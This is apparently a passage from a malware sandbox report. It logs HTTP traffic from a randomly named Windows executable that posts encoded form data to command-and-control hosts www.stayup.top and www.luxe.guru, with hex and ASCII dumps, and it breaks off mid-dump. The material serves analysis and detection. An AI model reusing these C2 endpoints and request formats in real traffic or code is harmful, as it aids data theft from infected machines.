51 4e 55 4a 4d 77 2b 7a 68 67 57 34 31 45 77 43 56 56 57 4c 67 76 44 4b 66 41 6c 53 78 48 48 74 37 4e 66 79 65 67 3d 3d Data Ascii: 78pd9P=lNLAe2l0QkpbB0vk6ryF6M+odNOHfi5d8ov778ySksQcghZ1DFZxNMzJNEsYxjWUkF5Dq1aM+hJfDNSf/CWimQ6DXDJUMSHypaDeKsG4O5vWm15mzLiq9MoU7fq8WSBBKIGiL5FmqvGy55Ck/O7iIiD1sQkqQNUJMw+zhgW41EwCVVWLgvDKfAlSxHHt7Nfyeg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49789	203.161.43.245	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:17:46.314467907 CEST	740	OUT	POST /gubb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.stayup.top Content-Type: application/x-www-form-urlencoded Content-Length: 223 Connection: close Cache-Control: no-cache Origin: http://www.stayup.top Referer: http://www.stayup.top/gubb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 6c 4e 4c 41 65 32 6c 30 51 6b 70 62 44 55 66 6b 35 49 61 46 74 38 2b 6e 42 64 4f 48 4e 69 35 5a 38 76 6e 37 37 39 33 56 6b 61 41 63 6a 45 6c 31 43 48 78 78 4f 4d 7a 4a 47 6b 73 64 37 44 57 4b 6b 46 30 2b 71 33 65 4d 2b 69 31 66 44 4e 69 66 2f 78 2b 68 6c 67 36 46 66 6a 4a 61 42 79 48 79 70 61 44 65 4b 73 54 54 4f 35 33 57 6e 47 78 6d 68 36 69 70 6a 63 6f 58 2b 66 71 38 53 53 42 46 4b 49 47 36 4c 38 67 75 71 73 2b 79 35 34 79 6b 2f 61 58 68 64 53 43 77 68 77 6b 2f 55 38 56 66 45 53 37 59 2f 69 47 78 38 32 73 48 64 7a 48 52 77 4d 4b 64 63 54 74 51 6c 68 6d 64 79 38 36 37 46 6e 71 42 37 48 41 63 59 71 35 4b 76 66 39 68 43 70 4e 43 57 54 6f 3d Data Ascii: 78pd9P=lNLAe2l0QkpbDUfk5IaFt8+nBdOHNi5Z8vn7793VkaAcjEl1CHxxOMzJGksd7DWKkF0+q3eM+i1fDNif/x+hlg6FfjJaByHypaDeKsTTO53WnGxmh6ipjcoX+fq8SSBFKIG6L8guqs+y54yk/aXhdSCwhwk/U8VfES7Y/iGx82sHdzHRwMKdcTtQlhmdy867FnqB7HAcYq5Kvf9hCpNCWTo=
Oct 4, 2024 15:17:46.973570108 CEST	595	IN	HTTP/1.1 404 Not Found Date: Fri, 04 Oct 2024 13:17:46 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49805	203.161.43.245	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:17:48.859854937 CEST	1753	OUT	POST /gubb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.stayup.top Content-Type: application/x-www-form-urlencoded Content-Length: 1235 Connection: close Cache-Control: no-cache Origin: http://www.stayup.top Referer: http://www.stayup.top/gubb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 6c 4e 4c 41 65 32 6c 30 51 6b 70 62 44 55 66 6b 35 49 61 46 74 38 2b 6e 42 64 4f 48 4e 69 35 5a 38 76 6e 37 37 39 33 56 6b 61 49 63 6a 79 78 31 44 6d 78 78 50 4d 7a 4a 61 30 73 63 37 44 58 57 6b 46 63 36 71 33 43 32 2b 6b 35 66 44 73 43 66 35 41 2b 68 79 77 36 46 64 6a 4a 62 4d 53 48 64 70 61 7a 61 4b 73 44 54 4f 35 33 57 6e 48 42 6d 32 37 69 70 68 63 6f 55 37 66 71 4b 57 53 42 74 4b 49 75 41 4c 39 68 4d 71 64 65 79 38 6f 69 6b 38 76 37 68 66 79 43 79 79 41 6c 36 55 35 4d 42 45 52 50 2b 2f 6a 69 50 38 30 73 48 66 6e 75 2b 74 50 71 64 66 53 6f 73 78 41 6a 7a 77 6f 32 65 63 42 4c 6b 39 33 4d 72 61 66 56 6f 67 4f 30 66 56 4b 63 49 55 55 31 75 67 59 6f 31 4d 32 55 57 69 79 2f 63 34 75 4c 46 49 37 4e 6c 71 73 49 41 6c 2f 32 39 4f 78 76 51 41 5a 47 31 35 58 36 45 6f 6a 39 38 55 4c 4b 6d 6c 71 32 47 56 49 52 30 74 47 45 4e 41 55 38 78 62 6a 4b 30 64 74 63 39 4f 6c 34 45 4b 5a 66 31 62 70 65 30 55 54 48 41 4e 79 70 77 47 43 58 35 59 43 72 73 52 7a 37 4c 37 76 6c 36 66 51 57 6a 5a 35 61 [TRUNCATED] Data Ascii: 78pd9P=lNLAe2l0QkpbDUfk5IaFt8+nBdOHNi5Z8vn7793VkaIcjyx1DmxxPMzJa0sc7DXWkFc6q3C2+k5fDsCf5A+hyw6FdjJbMSHdpazaKsDTO53WnHBm27iphcoU7fqKWSBtKIuAL9hMqdey8oik8v7hfyCyyAl6U5MBERP+/jiP80sHfnu+tPqdfSosxAjzwo2ecBLk93MrafVogO0fVKcIUU1ugYo1M2UWiy/c4uLFI7NlqsIAl/29OxvQAZG15X6Eoj98ULKmlq2GVIR0tGENAU8xbjK0dtc9Ol4EKZf1bpe0UTHANypwGCX5YCrsRz7L7vl6fQWjZ5ahqAzSFWfrZCu2jUGBwiUN/YSOGD52mTUNr0euwDXUK2pQJIdc6VUqOqY3sVYpGyc2xJEjavxJeM/AHGMG7srZT/5gFNn1/DmJBkxwM710GhF8vR5uU1vnEmtNDZ3j0ZUjuPFZ5YTI/xkYyTfHN442T/nu8ut15T8AUWTVjwVkSjzmxbkTlokaNRSfGTzdMwcXtmABVga56W6h80ZQ1WydZbvXOOWEPm6ztDsVd+bmzrlpQWh42I2ABVakfHMBStgqIkitQX9Kmu3Mux5qOiFRKj6/tHmLU1FQoNYxzfny6W/EBXQkhAuCn9xCW1JEDGQLCz62DkuiH3Wdno5W3+Wng1ibPsVbHrz+3mOyiY8w0xCJmnZiKWjV2Cus6Q0XAmPD2iyygM2uCqNz54Onxb+8coedbrsifjutDn5fBH6kWEWpC0AygAwOnY7YV+P0o2OEhpovzklrZIjDfodektnRAyqX6AXoCrZ72KKonpEb1/X8o0Xy9tBiw3PzxNiswbNOJmDdC9xAZtG5ZMf/lwsGXLfI1Hrv3dsms7c0NSy5nqaxA52MadSGhlpY+PDdQtjoMCcSBfGrgwWEUVY88SCHzHmWnNq4yRbEMYiTSiH4ocJD2wYndj6gI7jl8tBHbnlKvkHqvKOABeD1UcO+EqzpqptFEUzlLlAoP [TRUNCATED]
Oct 4, 2024 15:17:49.529145002 CEST	595	IN	HTTP/1.1 404 Not Found Date: Fri, 04 Oct 2024 13:17:49 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49822	203.161.43.245	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:17:51.408480883 CEST	467	OUT	GET /gubb/?Q0bDs=Qd64jJtXfz5txpyp&78pd9P=oPjgdHtcRwBFU1aBx5OUlPqNDMDzVTJA+Z/l/vbVu6gyzA9FNnh3E8/0K3U760fP/mUdrl6a4REPJue/mxKUzwa2Qj4WDWCJmKnjA5rRPanYi2c69pSt38k= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.stayup.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Oct 4, 2024 15:17:52.073755026 CEST	610	IN	HTTP/1.1 404 Not Found Date: Fri, 04 Oct 2024 13:17:51 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49860	52.20.84.62	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:17:57.353086948 CEST	717	OUT	POST /s9un/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.luxe.guru Content-Type: application/x-www-form-urlencoded Content-Length: 203 Connection: close Cache-Control: no-cache Origin: http://www.luxe.guru Referer: http://www.luxe.guru/s9un/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 2f 58 54 7a 65 52 70 58 45 7a 48 44 67 45 45 52 49 42 46 4a 45 57 79 6c 50 30 69 49 43 5a 6f 49 6a 6a 74 59 73 47 54 6a 36 38 45 66 4d 36 76 78 2f 69 43 4b 34 47 71 57 36 6b 48 42 7a 6f 49 56 56 35 35 74 63 48 66 76 68 38 32 7a 59 68 44 39 44 62 61 54 4c 50 2f 6b 79 35 36 44 78 4d 79 57 7a 4f 7a 2f 67 39 63 52 41 46 73 56 30 4e 47 7a 75 71 55 48 48 38 52 59 57 4d 4e 34 71 68 38 69 4c 53 51 61 37 59 2b 74 66 45 68 46 50 45 50 35 34 4c 52 41 63 47 2f 54 70 6e 6c 77 48 51 70 6e 71 75 36 53 7a 47 39 2b 30 56 6d 58 55 42 4d 6e 44 53 70 41 41 4f 36 43 74 37 4e 73 44 55 4d 63 68 41 3d 3d Data Ascii: 78pd9P=/XTzeRpXEzHDgEERIBFJEWylP0iICZoIjjtYsGTj68EfM6vx/iCK4GqW6kHBzoIVV55tcHfvh82zYhD9DbaTLP/ky56DxMyWzOz/g9cRAFsV0NGzuqUHH8RYWMN4qh8iLSQa7Y+tfEhFPEP54LRAcG/TpnlwHQpnqu6SzG9+0VmXUBMnDSpAAO6Ct7NsDUMchA==
Oct 4, 2024 15:17:57.864912033 CEST	705	IN	HTTP/1.1 405 Not Allowed Server: openresty Date: Fri, 04 Oct 2024 13:17:57 GMT Content-Type: text/html Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49877	52.20.84.62	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:17:59.894084930 CEST	737	OUT	POST /s9un/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.luxe.guru Content-Type: application/x-www-form-urlencoded Content-Length: 223 Connection: close Cache-Control: no-cache Origin: http://www.luxe.guru Referer: http://www.luxe.guru/s9un/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 2f 58 54 7a 65 52 70 58 45 7a 48 44 67 6b 30 52 4c 6d 70 4a 54 6d 79 71 45 55 69 49 62 70 6f 4d 6a 6a 70 59 73 45 2f 7a 37 50 67 66 4d 62 66 78 2b 6a 43 4b 78 57 71 57 78 45 47 4c 33 6f 49 4f 56 35 31 6c 63 43 33 76 68 38 79 7a 59 6c 4c 39 45 6f 43 55 4e 50 2f 6d 72 4a 36 42 31 4d 79 57 7a 4f 7a 2f 67 39 59 76 41 42 41 56 33 39 61 7a 75 49 77 45 45 38 52 66 54 38 4e 34 67 42 38 6d 4c 53 51 6f 37 59 50 41 66 47 4a 46 50 42 4c 35 34 65 74 50 4a 32 2f 64 6b 48 6b 36 4e 77 73 55 6e 38 36 54 6f 58 49 4d 33 6b 7a 32 52 48 64 39 54 78 67 58 44 64 79 41 35 64 73 63 4b 6c 70 56 36 45 57 43 66 39 7a 4c 39 2b 33 75 68 6d 68 78 30 45 38 78 50 66 38 3d Data Ascii: 78pd9P=/XTzeRpXEzHDgk0RLmpJTmyqEUiIbpoMjjpYsE/z7PgfMbfx+jCKxWqWxEGL3oIOV51lcC3vh8yzYlL9EoCUNP/mrJ6B1MyWzOz/g9YvABAV39azuIwEE8RfT8N4gB8mLSQo7YPAfGJFPBL54etPJ2/dkHk6NwsUn86ToXIM3kz2RHd9TxgXDdyA5dscKlpV6EWCf9zL9+3uhmhx0E8xPf8=
Oct 4, 2024 15:18:00.357884884 CEST	705	IN	HTTP/1.1 405 Not Allowed Server: openresty Date: Fri, 04 Oct 2024 13:18:00 GMT Content-Type: text/html Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49893	52.20.84.62	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:02.438440084 CEST	1750	OUT	POST /s9un/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.luxe.guru Content-Type: application/x-www-form-urlencoded Content-Length: 1235 Connection: close Cache-Control: no-cache Origin: http://www.luxe.guru Referer: http://www.luxe.guru/s9un/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 2f 58 54 7a 65 52 70 58 45 7a 48 44 67 6b 30 52 4c 6d 70 4a 54 6d 79 71 45 55 69 49 62 70 6f 4d 6a 6a 70 59 73 45 2f 7a 37 50 6f 66 4d 4e 44 78 2f 41 61 4b 72 57 71 57 79 45 47 4b 33 6f 4a 4d 56 36 46 68 63 43 37 52 68 2f 61 7a 5a 43 4c 39 46 5a 43 55 65 76 2f 6d 32 35 36 41 78 4d 7a 55 7a 4f 69 33 67 39 6f 76 41 42 41 56 33 38 71 7a 6e 36 55 45 4a 63 52 59 57 4d 4d 71 71 68 38 43 4c 55 34 34 37 5a 36 39 63 32 70 46 4f 68 62 35 37 73 46 50 56 6d 2f 49 6a 48 6c 76 4e 78 51 4c 6e 38 6e 71 6f 58 39 5a 33 6b 62 32 51 47 38 2f 43 43 55 4e 51 75 4f 32 74 72 34 4d 4c 48 78 70 35 54 43 2b 62 39 54 6a 6c 37 76 50 71 43 73 67 6a 31 64 79 61 71 64 6d 4e 6c 47 4f 2f 71 68 47 6c 79 61 33 61 71 4d 63 5a 36 51 54 59 48 4d 38 75 35 62 42 55 35 30 4b 4e 77 70 62 46 4d 6d 58 72 6e 69 35 38 55 57 71 44 74 76 78 39 7a 66 57 59 76 48 71 6c 64 52 33 52 57 59 33 39 2b 46 49 66 30 61 6c 42 50 4b 53 68 73 64 46 73 4c 4c 56 38 66 69 6c 67 42 41 4b 7a 65 4a 50 73 41 77 4b 52 39 31 4e 47 73 42 73 37 47 62 [TRUNCATED] Data Ascii: 78pd9P=/XTzeRpXEzHDgk0RLmpJTmyqEUiIbpoMjjpYsE/z7PofMNDx/AaKrWqWyEGK3oJMV6FhcC7Rh/azZCL9FZCUev/m256AxMzUzOi3g9ovABAV38qzn6UEJcRYWMMqqh8CLU447Z69c2pFOhb57sFPVm/IjHlvNxQLn8nqoX9Z3kb2QG8/CCUNQuO2tr4MLHxp5TC+b9Tjl7vPqCsgj1dyaqdmNlGO/qhGlya3aqMcZ6QTYHM8u5bBU50KNwpbFMmXrni58UWqDtvx9zfWYvHqldR3RWY39+FIf0alBPKShsdFsLLV8filgBAKzeJPsAwKR91NGsBs7Gbey05cKYYhBMmk57c9MUqygO5wpXSJNEQxMA8AuOMNEldXD6jPBaoXQFRmEgaBEH6bO9t3axeQKJDyGxLwbzJfoMXXRi3MpUY2hidqe01esLk+zYqzBUUj2t5TlFLvn9h8FPA9IdNAejy3GTPNyZYoAs+hyd+9wdJi+wEpPoxGkql4v/bTIXli2OMmt53sSFj5LUR3JinoEjZns0RkHVHF0yGwj4m5dbSfc+IGG+Jx7jWWFGFYyVn3mJ1w531LveySj7v2Wkq258dcVI4xtQ+iEl5u+5zDasVAnNqWtdAM4xqtz9NolAznD7gWKTVWwjuZHWunSA3vvQisvhKLIOxF/Dmd8/EvtpzQ5oTI2uDcOZqe6ahNXgx88XOOks4fdZXCRWCAEHvT+rRXxDkf8xiltrgbMKtk4vBuF+zDr18/dhUO0oiW3XBo9kfrxGqO+py+uax11jIYcSHReza5Axsxx9LRlvIBpqssjDO1yf4taWZ2+mb3dNPoQkEVTIKRqYnJZxWGNT/A1Dgb4OTn3OBOfHmPL3NX9OXYfJj9D2yj4N/orImUfPjXTbupFVPviAjlXD1hvRnhQQEXZyzNHmz0Omr21IDLGzIr1pcoMGhMejpI+I6AexxECHuvwuhqkRfFxP7jcNzspSXvQnnyoCQa1siZVDf6qEPws [TRUNCATED]
Oct 4, 2024 15:18:02.906433105 CEST	705	IN	HTTP/1.1 405 Not Allowed Server: openresty Date: Fri, 04 Oct 2024 13:18:02 GMT Content-Type: text/html Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 